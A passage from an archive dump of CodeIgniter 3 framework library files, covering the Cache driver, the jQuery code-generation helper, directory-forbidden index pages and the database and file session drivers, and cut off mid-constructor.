backup. if ( ! $this->is_supported($this->_adapter)) { if ( ! $this->is_supported($this->_backup_driver)) { // Backup isn't supported either. Default to 'Dummy' driver. log_message('error', 'Cache adapter "'.$this->_adapter.'" and backup "'.$this->_backup_driver.'" are both unavailable. Cache is now using "Dummy" adapter.'); $this->_adapter = 'dummy'; } else { // Backup is supported. Set it to primary. log_message('debug', 'Cache adapter "'.$this->_adapter.'" is unavailable. Falling back to "'.$this->_backup_driver.'" backup adapter.'); $this->_adapter = $this->_backup_driver; } } } // ------------------------------------------------------------------------ /** * Get * * Look for a value in the cache. If it exists, return the data * if not, return FALSE * * @param string $id * @return mixed value matching $id or FALSE on failure */ public function get($id) { return $this->{$this->_adapter}->get($this->key_prefix.$id); } // ------------------------------------------------------------------------ /** * Cache Save * * @param string $id Cache ID * @param mixed $data Data to store * @param int $ttl Cache TTL (in seconds) * @param bool $raw Whether to store the raw value * @return bool TRUE on success, FALSE on failure */ public function save($id, $data, $ttl = 60, $raw = FALSE) { return $this->{$this->_adapter}->save($this->key_prefix.$id, $data, $ttl, $raw); } // ------------------------------------------------------------------------ /** * Delete from Cache * * @param string $id Cache ID * @return bool TRUE on success, FALSE on failure */ public function delete($id) { return $this->{$this->_adapter}->delete($this->key_prefix.$id); } // ------------------------------------------------------------------------ /** * Increment a raw value * * @param string $id Cache ID * @param int $offset Step/value to add * @return mixed New value on success or FALSE on failure */ public function increment($id, $offset = 1) { return $this->{$this->_adapter}->increment($this->key_prefix.$id, $offset); } // ------------------------------------------------------------------------ /** * Decrement a raw value * * @param string $id Cache ID * @param int $offset Step/value to reduce by * @return mixed New value on success or FALSE on failure */ public function decrement($id, $offset = 1) { return $this->{$this->_adapter}->decrement($this->key_prefix.$id, $offset); } // ------------------------------------------------------------------------ /** * Clean the cache * * @return bool TRUE on success, FALSE on failure */ public function clean() { return $this->{$this->_adapter}->clean(); } // ------------------------------------------------------------------------ /** * Cache Info * * @param string $type = 'user' user/filehits * @return mixed array containing cache info on success OR FALSE on failure */ public function cache_info($type = 'user') { return $this->{$this->_adapter}->cache_info($type); } // ------------------------------------------------------------------------ /** * Get Cache Metadata * * @param string $id key to get cache metadata on * @return mixed cache item metadata */ public function get_metadata($id) { return $this->{$this->_adapter}->get_metadata($this->key_prefix.$id); } // ------------------------------------------------------------------------ /** * Is the requested driver supported in this environment? * * @param string $driver The driver to test * @return array */ public function is_supported($driver) { static $support; if ( ! isset($support, $support[$driver])) { $support[$driver] = $this->{$driver}->is_supported(); } return $support[$driver]; } } Cache/index.html 0000775 00000000203 15060054572 0007550 0 ustar 00 <!DOCTYPE html> <html> <head> <title>403 Forbidden</title> </head> <body> <p>Directory access is forbidden.</p> </body> </html> Javascript/Jquery.php 0000775 00000061663 15060054572 0010667 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * Jquery Class * * @package CodeIgniter * @subpackage Libraries * @category Loader * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/javascript.html */ class CI_Jquery extends CI_Javascript { /** * JavaScript directory location * * @var string */ protected $_javascript_folder = 'js'; /** * JQuery code for load * * @var array */ public $jquery_code_for_load = array(); /** * JQuery code for compile * * @var array */ public $jquery_code_for_compile = array(); /** * JQuery corner active flag * * @var bool */ public $jquery_corner_active = FALSE; /** * JQuery table sorter active flag * * @var bool */ public $jquery_table_sorter_active = FALSE; /** * JQuery table sorter pager active * * @var bool */ public $jquery_table_sorter_pager_active = FALSE; /** * JQuery AJAX image * * @var string */ public $jquery_ajax_img = ''; // -------------------------------------------------------------------- /** * Constructor * * @param array $params * @return void */ public function __construct($params) { $this->CI =& get_instance(); extract($params); if ($autoload === TRUE) { $this->script(); } log_message('info', 'Jquery Class Initialized'); } // -------------------------------------------------------------------- // Event Code // -------------------------------------------------------------------- /** * Blur * * Outputs a jQuery blur event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _blur($element = 'this', $js = '') { return $this->_add_event($element, $js, 'blur'); } // -------------------------------------------------------------------- /** * Change * * Outputs a jQuery change event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _change($element = 'this', $js = '') { return $this->_add_event($element, $js, 'change'); } // -------------------------------------------------------------------- /** * Click * * Outputs a jQuery click event * * @param string The element to attach the event to * @param string The code to execute * @param bool whether or not to return false * @return string */ protected function _click($element = 'this', $js = '', $ret_false = TRUE) { is_array($js) OR $js = array($js); if ($ret_false) { $js[] = 'return false;'; } return $this->_add_event($element, $js, 'click'); } // -------------------------------------------------------------------- /** * Double Click * * Outputs a jQuery dblclick event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _dblclick($element = 'this', $js = '') { return $this->_add_event($element, $js, 'dblclick'); } // -------------------------------------------------------------------- /** * Error * * Outputs a jQuery error event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _error($element = 'this', $js = '') { return $this->_add_event($element, $js, 'error'); } // -------------------------------------------------------------------- /** * Focus * * Outputs a jQuery focus event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _focus($element = 'this', $js = '') { return $this->_add_event($element, $js, 'focus'); } // -------------------------------------------------------------------- /** * Hover * * Outputs a jQuery hover event * * @param string - element * @param string - Javascript code for mouse over * @param string - Javascript code for mouse out * @return string */ protected function _hover($element = 'this', $over = '', $out = '') { $event = "\n\t$(".$this->_prep_element($element).").hover(\n\t\tfunction()\n\t\t{\n\t\t\t{$over}\n\t\t}, \n\t\tfunction()\n\t\t{\n\t\t\t{$out}\n\t\t});\n"; $this->jquery_code_for_compile[] = $event; return $event; } // -------------------------------------------------------------------- /** * Keydown * * Outputs a jQuery keydown event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _keydown($element = 'this', $js = '') { return $this->_add_event($element, $js, 'keydown'); } // -------------------------------------------------------------------- /** * Keyup * * Outputs a jQuery keydown event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _keyup($element = 'this', $js = '') { return $this->_add_event($element, $js, 'keyup'); } // -------------------------------------------------------------------- /** * Load * * Outputs a jQuery load event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _load($element = 'this', $js = '') { return $this->_add_event($element, $js, 'load'); } // -------------------------------------------------------------------- /** * Mousedown * * Outputs a jQuery mousedown event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _mousedown($element = 'this', $js = '') { return $this->_add_event($element, $js, 'mousedown'); } // -------------------------------------------------------------------- /** * Mouse Out * * Outputs a jQuery mouseout event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _mouseout($element = 'this', $js = '') { return $this->_add_event($element, $js, 'mouseout'); } // -------------------------------------------------------------------- /** * Mouse Over * * Outputs a jQuery mouseover event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _mouseover($element = 'this', $js = '') { return $this->_add_event($element, $js, 'mouseover'); } // -------------------------------------------------------------------- /** * Mouseup * * Outputs a jQuery mouseup event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _mouseup($element = 'this', $js = '') { return $this->_add_event($element, $js, 'mouseup'); } // -------------------------------------------------------------------- /** * Output * * Outputs script directly * * @param array $array_js = array() * @return void */ protected function _output($array_js = array()) { if ( ! is_array($array_js)) { $array_js = array($array_js); } foreach ($array_js as $js) { $this->jquery_code_for_compile[] = "\t".$js."\n"; } } // -------------------------------------------------------------------- /** * Resize * * Outputs a jQuery resize event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _resize($element = 'this', $js = '') { return $this->_add_event($element, $js, 'resize'); } // -------------------------------------------------------------------- /** * Scroll * * Outputs a jQuery scroll event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _scroll($element = 'this', $js = '') { return $this->_add_event($element, $js, 'scroll'); } // -------------------------------------------------------------------- /** * Unload * * Outputs a jQuery unload event * * @param string The element to attach the event to * @param string The code to execute * @return string */ protected function _unload($element = 'this', $js = '') { return $this->_add_event($element, $js, 'unload'); } // -------------------------------------------------------------------- // Effects // -------------------------------------------------------------------- /** * Add Class * * Outputs a jQuery addClass event * * @param string $element * @param string $class * @return string */ protected function _addClass($element = 'this', $class = '') { $element = $this->_prep_element($element); return '$('.$element.').addClass("'.$class.'");'; } // -------------------------------------------------------------------- /** * Animate * * Outputs a jQuery animate event * * @param string $element * @param array $params * @param string $speed 'slow', 'normal', 'fast', or time in milliseconds * @param string $extra * @return string */ protected function _animate($element = 'this', $params = array(), $speed = '', $extra = '') { $element = $this->_prep_element($element); $speed = $this->_validate_speed($speed); $animations = "\t\t\t"; foreach ($params as $param => $value) { $animations .= $param.": '".$value."', "; } $animations = substr($animations, 0, -2); // remove the last ", " if ($speed !== '') { $speed = ', '.$speed; } if ($extra !== '') { $extra = ', '.$extra; } return "$({$element}).animate({\n$animations\n\t\t}".$speed.$extra.');'; } // -------------------------------------------------------------------- /** * Fade In * * Outputs a jQuery hide event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ protected function _fadeIn($element = 'this', $speed = '', $callback = '') { $element = $this->_prep_element($element); $speed = $this->_validate_speed($speed); if ($callback !== '') { $callback = ", function(){\n{$callback}\n}"; } return "$({$element}).fadeIn({$speed}{$callback});"; } // -------------------------------------------------------------------- /** * Fade Out * * Outputs a jQuery hide event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ protected function _fadeOut($element = 'this', $speed = '', $callback = '') { $element = $this->_prep_element($element); $speed = $this->_validate_speed($speed); if ($callback !== '') { $callback = ", function(){\n{$callback}\n}"; } return '$('.$element.').fadeOut('.$speed.$callback.');'; } // -------------------------------------------------------------------- /** * Hide * * Outputs a jQuery hide action * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ protected function _hide($element = 'this', $speed = '', $callback = '') { $element = $this->_prep_element($element); $speed = $this->_validate_speed($speed); if ($callback !== '') { $callback = ", function(){\n{$callback}\n}"; } return "$({$element}).hide({$speed}{$callback});"; } // -------------------------------------------------------------------- /** * Remove Class * * Outputs a jQuery remove class event * * @param string $element * @param string $class * @return string */ protected function _removeClass($element = 'this', $class = '') { $element = $this->_prep_element($element); return '$('.$element.').removeClass("'.$class.'");'; } // -------------------------------------------------------------------- /** * Slide Up * * Outputs a jQuery slideUp event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ protected function _slideUp($element = 'this', $speed = '', $callback = '') { $element = $this->_prep_element($element); $speed = $this->_validate_speed($speed); if ($callback !== '') { $callback = ", function(){\n{$callback}\n}"; } return '$('.$element.').slideUp('.$speed.$callback.');'; } // -------------------------------------------------------------------- /** * Slide Down * * Outputs a jQuery slideDown event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ protected function _slideDown($element = 'this', $speed = '', $callback = '') { $element = $this->_prep_element($element); $speed = $this->_validate_speed($speed); if ($callback !== '') { $callback = ", function(){\n{$callback}\n}"; } return '$('.$element.').slideDown('.$speed.$callback.');'; } // -------------------------------------------------------------------- /** * Slide Toggle * * Outputs a jQuery slideToggle event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ protected function _slideToggle($element = 'this', $speed = '', $callback = '') { $element = $this->_prep_element($element); $speed = $this->_validate_speed($speed); if ($callback !== '') { $callback = ", function(){\n{$callback}\n}"; } return '$('.$element.').slideToggle('.$speed.$callback.');'; } // -------------------------------------------------------------------- /** * Toggle * * Outputs a jQuery toggle event * * @param string - element * @return string */ protected function _toggle($element = 'this') { $element = $this->_prep_element($element); return '$('.$element.').toggle();'; } // -------------------------------------------------------------------- /** * Toggle Class * * Outputs a jQuery toggle class event * * @param string $element * @param string $class * @return string */ protected function _toggleClass($element = 'this', $class = '') { $element = $this->_prep_element($element); return '$('.$element.').toggleClass("'.$class.'");'; } // -------------------------------------------------------------------- /** * Show * * Outputs a jQuery show event * * @param string - element * @param string - One of 'slow', 'normal', 'fast', or time in milliseconds * @param string - Javascript callback function * @return string */ protected function _show($element = 'this', $speed = '', $callback = '') { $element = $this->_prep_element($element); $speed = $this->_validate_speed($speed); if ($callback !== '') { $callback = ", function(){\n{$callback}\n}"; } return '$('.$element.').show('.$speed.$callback.');'; } // -------------------------------------------------------------------- /** * Updater * * An Ajax call that populates the designated DOM node with * returned content * * @param string The element to attach the event to * @param string the controller to run the call against * @param string optional parameters * @return string */ protected function _updater($container = 'this', $controller = '', $options = '') { $container = $this->_prep_element($container); $controller = (strpos('://', $controller) === FALSE) ? $controller : $this->CI->config->site_url($controller); // ajaxStart and ajaxStop are better choices here... but this is a stop gap if ($this->CI->config->item('javascript_ajax_img') === '') { $loading_notifier = 'Loading...'; } else { $loading_notifier = '<img src="'.$this->CI->config->slash_item('base_url').$this->CI->config->item('javascript_ajax_img').'" alt="Loading" />'; } $updater = '$('.$container.").empty();\n" // anything that was in... get it out ."\t\t$(".$container.').prepend("'.$loading_notifier."\");\n"; // to replace with an image $request_options = ''; if ($options !== '') { $request_options .= ', {' .(is_array($options) ? "'".implode("', '", $options)."'" : "'".str_replace(':', "':'", $options)."'") .'}'; } return $updater."\t\t$($container).load('$controller'$request_options);"; } // -------------------------------------------------------------------- // Pre-written handy stuff // -------------------------------------------------------------------- /** * Zebra tables * * @param string $class * @param string $odd * @param string $hover * @return string */ protected function _zebraTables($class = '', $odd = 'odd', $hover = '') { $class = ($class !== '') ? '.'.$class : ''; $zebra = "\t\$(\"table{$class} tbody tr:nth-child(even)\").addClass(\"{$odd}\");"; $this->jquery_code_for_compile[] = $zebra; if ($hover !== '') { $hover = $this->hover("table{$class} tbody tr", "$(this).addClass('hover');", "$(this).removeClass('hover');"); } return $zebra; } // -------------------------------------------------------------------- // Plugins // -------------------------------------------------------------------- /** * Corner Plugin * * @link http://www.malsup.com/jquery/corner/ * @param string $element * @param string $corner_style * @return string */ public function corner($element = '', $corner_style = '') { // may want to make this configurable down the road $corner_location = '/plugins/jquery.corner.js'; if ($corner_style !== '') { $corner_style = '"'.$corner_style.'"'; } return '$('.$this->_prep_element($element).').corner('.$corner_style.');'; } // -------------------------------------------------------------------- /** * Modal window * * Load a thickbox modal window * * @param string $src * @param bool $relative * @return void */ public function modal($src, $relative = FALSE) { $this->jquery_code_for_load[] = $this->external($src, $relative); } // -------------------------------------------------------------------- /** * Effect * * Load an Effect library * * @param string $src * @param bool $relative * @return void */ public function effect($src, $relative = FALSE) { $this->jquery_code_for_load[] = $this->external($src, $relative); } // -------------------------------------------------------------------- /** * Plugin * * Load a plugin library * * @param string $src * @param bool $relative * @return void */ public function plugin($src, $relative = FALSE) { $this->jquery_code_for_load[] = $this->external($src, $relative); } // -------------------------------------------------------------------- /** * UI * * Load a user interface library * * @param string $src * @param bool $relative * @return void */ public function ui($src, $relative = FALSE) { $this->jquery_code_for_load[] = $this->external($src, $relative); } // -------------------------------------------------------------------- /** * Sortable * * Creates a jQuery sortable * * @param string $element * @param array $options * @return string */ public function sortable($element, $options = array()) { if (count($options) > 0) { $sort_options = array(); foreach ($options as $k=>$v) { $sort_options[] = "\n\t\t".$k.': '.$v; } $sort_options = implode(',', $sort_options); } else { $sort_options = ''; } return '$('.$this->_prep_element($element).').sortable({'.$sort_options."\n\t});"; } // -------------------------------------------------------------------- /** * Table Sorter Plugin * * @param string table name * @param string plugin location * @return string */ public function tablesorter($table = '', $options = '') { $this->jquery_code_for_compile[] = "\t$(".$this->_prep_element($table).').tablesorter('.$options.");\n"; } // -------------------------------------------------------------------- // Class functions // -------------------------------------------------------------------- /** * Add Event * * Constructs the syntax for an event, and adds to into the array for compilation * * @param string The element to attach the event to * @param string The code to execute * @param string The event to pass * @return string */ protected function _add_event($element, $js, $event) { if (is_array($js)) { $js = implode("\n\t\t", $js); } $event = "\n\t$(".$this->_prep_element($element).').'.$event."(function(){\n\t\t{$js}\n\t});\n"; $this->jquery_code_for_compile[] = $event; return $event; } // -------------------------------------------------------------------- /** * Compile * * As events are specified, they are stored in an array * This function compiles them all for output on a page * * @param string $view_var * @param bool $script_tags * @return void */ protected function _compile($view_var = 'script_foot', $script_tags = TRUE) { // External references $external_scripts = implode('', $this->jquery_code_for_load); $this->CI->load->vars(array('library_src' => $external_scripts)); if (count($this->jquery_code_for_compile) === 0) { // no inline references, let's just return return; } // Inline references $script = '$(document).ready(function() {'."\n" .implode('', $this->jquery_code_for_compile) .'});'; $output = ($script_tags === FALSE) ? $script : $this->inline($script); $this->CI->load->vars(array($view_var => $output)); } // -------------------------------------------------------------------- /** * Clear Compile * * Clears the array of script events collected for output * * @return void */ protected function _clear_compile() { $this->jquery_code_for_compile = array(); } // -------------------------------------------------------------------- /** * Document Ready * * A wrapper for writing document.ready() * * @param array $js * @return void */ protected function _document_ready($js) { is_array($js) OR $js = array($js); foreach ($js as $script) { $this->jquery_code_for_compile[] = $script; } } // -------------------------------------------------------------------- /** * Script Tag * * Outputs the script tag that loads the jquery.js file into an HTML document * * @param string $library_src * @param bool $relative * @return string */ public function script($library_src = '', $relative = FALSE) { $library_src = $this->external($library_src, $relative); $this->jquery_code_for_load[] = $library_src; return $library_src; } // -------------------------------------------------------------------- /** * Prep Element * * Puts HTML element in quotes for use in jQuery code * unless the supplied element is the Javascript 'this' * object, in which case no quotes are added * * @param string * @return string */ protected function _prep_element($element) { if ($element !== 'this') { $element = '"'.$element.'"'; } return $element; } // -------------------------------------------------------------------- /** * Validate Speed * * Ensures the speed parameter is valid for jQuery * * @param string * @return string */ protected function _validate_speed($speed) { if (in_array($speed, array('slow', 'normal', 'fast'))) { return '"'.$speed.'"'; } elseif (preg_match('/[^0-9]/', $speed)) { return ''; } return $speed; } } Javascript/index.html 0000775 00000000203 15060054572 0010653 0 ustar 00 <!DOCTYPE html> <html> <head> <title>403 Forbidden</title> </head> <body> <p>Directory access is forbidden.</p> </body> </html> Session/drivers/Session_database_driver.php 0000775 00000024345 15060054572 0015221 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Session Database Driver * * @package CodeIgniter * @subpackage Libraries * @category Sessions * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/sessions.html */ class CI_Session_database_driver extends CI_Session_driver implements SessionHandlerInterface { /** * DB object * * @var object */ protected $_db; /** * Row exists flag * * @var bool */ protected $_row_exists = FALSE; /** * Lock "driver" flag * * @var string */ protected $_platform; // ------------------------------------------------------------------------ /** * Class constructor * * @param array $params Configuration parameters * @return void */ public function __construct(&$params) { parent::__construct($params); $CI =& get_instance(); isset($CI->db) OR $CI->load->database(); $this->_db = $CI->db; if ( ! $this->_db instanceof CI_DB_query_builder) { throw new Exception('Query Builder not enabled for the configured database. Aborting.'); } elseif ($this->_db->pconnect) { throw new Exception('Configured database connection is persistent. Aborting.'); } elseif ($this->_db->cache_on) { throw new Exception('Configured database connection has cache enabled. Aborting.'); } $db_driver = $this->_db->dbdriver.(empty($this->_db->subdriver) ? '' : '_'.$this->_db->subdriver); if (strpos($db_driver, 'mysql') !== FALSE) { $this->_platform = 'mysql'; } elseif (in_array($db_driver, array('postgre', 'pdo_pgsql'), TRUE)) { $this->_platform = 'postgre'; } // Note: BC work-around for the old 'sess_table_name' setting, should be removed in the future. if ( ! isset($this->_config['save_path']) && ($this->_config['save_path'] = config_item('sess_table_name'))) { log_message('debug', 'Session: "sess_save_path" is empty; using BC fallback to "sess_table_name".'); } } // ------------------------------------------------------------------------ /** * Open * * Initializes the database connection * * @param string $save_path Table name * @param string $name Session cookie name, unused * @return bool */ public function open($save_path, $name) { if (empty($this->_db->conn_id) && ! $this->_db->db_connect()) { return $this->_fail(); } return $this->_success; } // ------------------------------------------------------------------------ /** * Read * * Reads session data and acquires a lock * * @param string $session_id Session ID * @return string Serialized session data */ public function read($session_id) { if ($this->_get_lock($session_id) !== FALSE) { // Prevent previous QB calls from messing with our queries $this->_db->reset_query(); // Needed by write() to detect session_regenerate_id() calls $this->_session_id = $session_id; $this->_db ->select('data') ->from($this->_config['save_path']) ->where('id', $session_id); if ($this->_config['match_ip']) { $this->_db->where('ip_address', $_SERVER['REMOTE_ADDR']); } if ( ! ($result = $this->_db->get()) OR ($result = $result->row()) === NULL) { // PHP7 will reuse the same SessionHandler object after // ID regeneration, so we need to explicitly set this to // FALSE instead of relying on the default ... $this->_row_exists = FALSE; $this->_fingerprint = md5(''); return ''; } // PostgreSQL's variant of a BLOB datatype is Bytea, which is a // PITA to work with, so we use base64-encoded data in a TEXT // field instead. $result = ($this->_platform === 'postgre') ? base64_decode(rtrim($result->data)) : $result->data; $this->_fingerprint = md5($result); $this->_row_exists = TRUE; return $result; } $this->_fingerprint = md5(''); return ''; } // ------------------------------------------------------------------------ /** * Write * * Writes (create / update) session data * * @param string $session_id Session ID * @param string $session_data Serialized session data * @return bool */ public function write($session_id, $session_data) { // Prevent previous QB calls from messing with our queries $this->_db->reset_query(); // Was the ID regenerated? if ($session_id !== $this->_session_id) { if ( ! $this->_release_lock() OR ! $this->_get_lock($session_id)) { return $this->_fail(); } $this->_row_exists = FALSE; $this->_session_id = $session_id; } elseif ($this->_lock === FALSE) { return $this->_fail(); } if ($this->_row_exists === FALSE) { $insert_data = array( 'id' => $session_id, 'ip_address' => $_SERVER['REMOTE_ADDR'], 'timestamp' => time(), 'data' => ($this->_platform === 'postgre' ? base64_encode($session_data) : $session_data) ); if ($this->_db->insert($this->_config['save_path'], $insert_data)) { $this->_fingerprint = md5($session_data); $this->_row_exists = TRUE; return $this->_success; } return $this->_fail(); } $this->_db->where('id', $session_id); if ($this->_config['match_ip']) { $this->_db->where('ip_address', $_SERVER['REMOTE_ADDR']); } $update_data = array('timestamp' => time()); if ($this->_fingerprint !== md5($session_data)) { $update_data['data'] = ($this->_platform === 'postgre') ? base64_encode($session_data) : $session_data; } if ($this->_db->update($this->_config['save_path'], $update_data)) { $this->_fingerprint = md5($session_data); return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Close * * Releases locks * * @return bool */ public function close() { return ($this->_lock && ! $this->_release_lock()) ? $this->_fail() : $this->_success; } // ------------------------------------------------------------------------ /** * Destroy * * Destroys the current session. * * @param string $session_id Session ID * @return bool */ public function destroy($session_id) { if ($this->_lock) { // Prevent previous QB calls from messing with our queries $this->_db->reset_query(); $this->_db->where('id', $session_id); if ($this->_config['match_ip']) { $this->_db->where('ip_address', $_SERVER['REMOTE_ADDR']); } if ( ! $this->_db->delete($this->_config['save_path'])) { return $this->_fail(); } } if ($this->close() === $this->_success) { $this->_cookie_destroy(); return $this->_success; } return $this->_fail(); } // ------------------------------------------------------------------------ /** * Garbage Collector * * Deletes expired sessions * * @param int $maxlifetime Maximum lifetime of sessions * @return bool */ public function gc($maxlifetime) { // Prevent previous QB calls from messing with our queries $this->_db->reset_query(); return ($this->_db->delete($this->_config['save_path'], 'timestamp < '.(time() - $maxlifetime))) ? $this->_success : $this->_fail(); } // ------------------------------------------------------------------------ /** * Get lock * * Acquires a lock, depending on the underlying platform. * * @param string $session_id Session ID * @return bool */ protected function _get_lock($session_id) { if ($this->_platform === 'mysql') { $arg = $session_id.($this->_config['match_ip'] ? '_'.$_SERVER['REMOTE_ADDR'] : ''); if ($this->_db->query("SELECT GET_LOCK('".$arg."', 300) AS ci_session_lock")->row()->ci_session_lock) { $this->_lock = $arg; return TRUE; } return FALSE; } elseif ($this->_platform === 'postgre') { $arg = "hashtext('".$session_id."')".($this->_config['match_ip'] ? ", hashtext('".$_SERVER['REMOTE_ADDR']."')" : ''); if ($this->_db->simple_query('SELECT pg_advisory_lock('.$arg.')')) { $this->_lock = $arg; return TRUE; } return FALSE; } return parent::_get_lock($session_id); } // ------------------------------------------------------------------------ /** * Release lock * * Releases a previously acquired lock * * @return bool */ protected function _release_lock() { if ( ! $this->_lock) { return TRUE; } if ($this->_platform === 'mysql') { if ($this->_db->query("SELECT RELEASE_LOCK('".$this->_lock."') AS ci_session_lock")->row()->ci_session_lock) { $this->_lock = FALSE; return TRUE; } return FALSE; } elseif ($this->_platform === 'postgre') { if ($this->_db->simple_query('SELECT pg_advisory_unlock('.$this->_lock.')')) { $this->_lock = FALSE; return TRUE; } return FALSE; } return parent::_release_lock(); } } Session/drivers/Session_files_driver.php 0000775 00000024310 15060054572 0014547 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 3.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Session Files Driver * * @package CodeIgniter * @subpackage Libraries * @category Sessions * @author Andrey Andreev * @link https://codeigniter.com/user_guide/libraries/sessions.html */ class CI_Session_files_driver extends CI_Session_driver implements SessionHandlerInterface { /** * Save path * * @var string */ protected $_save_path; /** * File handle * * @var resource */ protected $_file_handle; /** * File name * * @var resource */ protected $_file_path; /** * File new flag * * @var bool */ protected $_file_new; /** * Validate SID regular expression * * @var string */ protected $_sid_regexp; /** * mbstring.func_override flag * * @var bool */ protected static $func_override; // ------------------------------------------------------------------------ /** * Class constructor * * @param array $params Configuration parameters * @return void */ public function __construct(&$params) { parent::__construct($params); if (isset($this->_config['save_path'])) { $this->_config['save_path'] = rtrim($this->_config['save_path'], '/\\'); ini_set('session.save_path', $this->_config['save_path']); } else { log_message('debug', 'Session: "sess_save_path" is empty; using "session.save_path" value from php.ini.'); $this->_config['save_path'] = rtrim(ini_get('session.save_path'), '/\\'); } $this->_sid_regexp = $this->_config['_sid_regexp']; isset(self::$func_override) OR self::$func_override = 